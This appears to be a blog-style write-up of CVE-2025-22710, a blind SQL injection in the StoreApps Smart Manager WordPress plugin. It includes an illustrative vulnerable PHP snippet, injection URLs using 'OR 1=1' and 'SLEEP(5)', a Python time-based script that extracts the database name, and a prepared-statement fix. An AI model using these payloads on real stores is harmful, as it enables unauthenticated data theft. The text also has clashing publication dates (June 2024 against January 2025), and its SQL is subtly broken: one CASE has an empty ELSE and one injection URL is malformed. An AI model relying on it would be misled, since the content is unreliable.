CVE-2025-22710 - Blind SQL Injection in StoreApps Smart Manager (Up to v8.52.)

Published: June 2024
CVE: CVE-2025-22710
Affected Product: StoreApps Smart Manager (for WooCommerce)
Vulnerable Versions: All versions up to and including 8.52.
Vulnerability Type: Blind SQL Injection (CWE-89)
Exploitability: Remote, unauthenticated
CVSS Score (estimate): High (7.7)

What is CVE-2025-22710?

CVE-2025-22710 is a newly reported Blind SQL Injection vulnerability in the popular WordPress plugin, StoreApps Smart Manager. This plugin helps WooCommerce store owners manage products, orders, and customers from a powerful spreadsheet-like dashboard.

But until version 8.52., improper filtering of user input makes it possible for attackers to tamper with SQL queries sent to the database. Although the results are not shown directly on the site (hence "blind"), clever attackers can still extract sensitive data or compromise the site.

Blind SQL Injection vulnerabilities are tricky. Unlike normal SQL injection (where you might see errors or database data right in your browser), blind injection means the website is still vulnerable, but it won't show obvious signs. Attackers will use responses (like page load time or subtle changes in content) to infer YES/NO answers and extract data bit by bit.

How Does the Vulnerability Work?

StoreApps Smart Manager takes parameters from user input (often from GET or POST requests), and plugs them directly into SQL queries without proper filtering. Attackers can inject SQL payloads through these parameters.

Suppose the vulnerable code looks like this (simplified for illustration)

// Vulnerable PHP code inside Smart Manager
$user_filter = $_GET['user'];
$query = "SELECT * FROM wp_users WHERE username = '$user_filter'";
$result = $wpdb->get_results($query);
// ... code to process $result

If $user_filter is not properly escaped, an attacker could use

http://example.com/wp-admin/admin-ajax.php?action=smart_manager&user='; OR 1=1 --

But in Blind SQL Injection, data isn't shown directly. Attackers use conditions ("if X then Y") and measure the difference in response.

Example: Exploiting CVE-2025-22710

Let’s run through an example, assuming a parameter user is vulnerable.

Normal:

/wp-admin/admin-ajax.php?action=smart_manager&user=admin

Test for injection:

/wp-admin/admin-ajax.php?action=smart_manager&user=admin' AND SLEEP(5)--+

If the second request delays the response by 5 seconds, the site is vulnerable to time-based blind SQL injection.

Step 2: Extracting Data Using the Vulnerability

With time-based attacks, you can extract database values by asking TRUE/FALSE questions (does the first letter of DB name = ‘w’?, etc).

import requests
import time

url = "https://example.com/wp-admin/admin-ajax.php";
target_char_position = 1
found_char = ''

for ascii_code in range(32, 127):  # Printable ASCII
    payload = (
        f"admin' AND (SELECT CASE WHEN (ASCII(SUBSTRING(DATABASE(),{target_char_position},1))={ascii_code}) "
        f"THEN SLEEP(5) ELSE  END)--+"
    )
    params = {'action': 'smart_manager', 'user': payload}
    start = time.time()
    requests.get(url, params=params)
    end = time.time()
    if end - start > 4:
        found_char = chr(ascii_code)
        print(f"Found character at position {target_char_position}: {found_char}")
        break
print("Database name starts with:", found_char)

This script will check, character by character, what the database name is, by measuring response delay.

*(Note: Never run this on systems you do not own or have permission to test. This is for educational purposes only!)*

How to Fix

StoreApps released a patch after 8.52.—always update!

Additionally, sanitize all input using prepared statements

// Secure example in PHP
$prepared_query = $wpdb->prepare("SELECT * FROM wp_users WHERE username = %s", $_GET['user']);
$result = $wpdb->get_results($prepared_query);

If you use StoreApps Smart Manager, upgrade immediately and check your logs for strange requests.

References

- CVE-2025-22710 – NIST NVD
- StoreApps Smart Manager changelog
- OWASP SQL Injection Guide

Conclusion

CVE-2025-22710 is a real reminder that plugins—even from trusted vendors—can have critical security flaws. Blind SQL injection lets attackers steal data without you seeing a thing, and even the best firewalls might not help.

Keep every plugin and platform updated, and test your WordPress site for vulnerabilities often!

Stay safe and secure your store! If you need help, consult your developer or security specialist.

Timeline

Published on: 01/21/2025 14:15:11 UTC

CVE-2025-22710 - Blind SQL Injection in StoreApps Smart Manager (Up to v8.52.) – Deep Dive and Exploit Example